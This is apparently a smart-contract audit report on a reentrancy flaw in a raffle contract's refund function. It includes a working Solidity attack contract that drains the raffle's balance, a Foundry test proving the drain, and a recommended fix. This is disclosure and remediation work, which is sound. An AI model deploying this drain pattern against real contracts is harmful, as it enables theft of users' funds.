Summary
refund function has reentrancy attack.
Vulnerability Details
An attacker can withdraw all funds from the contract by calling refund function.
Impact
The following test case validates the existence of a reentrancy attack in the refund function.
pragma solidity ^0.7.6;
interface IPuppyRaffle {
function enterRaffle(address[] memory newPlayers) external payable;
function refund(uint256 playerIndex) external;
function getActivePlayerIndex(
address player
) external view returns (uint256);
}
contract Attack {
IPuppyRaffle puppyRaffle;
address public immutable owner;
uint index;
constructor(address _puppyRaffle, address _owner) {
puppyRaffle = IPuppyRaffle(_puppyRaffle);
owner = _owner;
}
function init() external payable {
address[] memory player = new address[](1);
player[0] = address(this);
puppyRaffle.enterRaffle{value: msg.value}(player);
index = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(index);
}
receive() external payable {
if (address(puppyRaffle).balance > 1) puppyRaffle.refund(index);
else {
(bool s, ) = payable(owner).call{value: address(this).balance}("");
require(s);
}
}
}
Test
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
import {Attack} from "../src/Attack.sol";
contract AttackTest is Test {
PuppyRaffle puppyRaffle;
uint256 entranceFee = 1e18;
address playerOne = address(1);
address playerTwo = address(2);
address playerThree = address(3);
address feeAddress = address(99);
address attacker = address(10);
uint256 duration = 1 days;
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
}
function testReentracy() public {
address[] memory players = new address[](3);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
puppyRaffle.enterRaffle{value: entranceFee * 3}(players);
Attack attack = new Attack(address(puppyRaffle), attacker);
uint balanceBefore = address(attacker).balance;
attack.init{value: entranceFee}();
assertGt(address(attacker).balance, balanceBefore);
assertEq(address(puppyRaffle).balance, 0);
}
}
forge test --match-test testReentracy
Tools Used
vs code and Foundry
Recommendations
/// @param playerIndex the index of the player to refund. You can find it externally by calling `getActivePlayerIndex`
/// @dev This function will allow there to be blank spots in the array
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
++ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
-- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}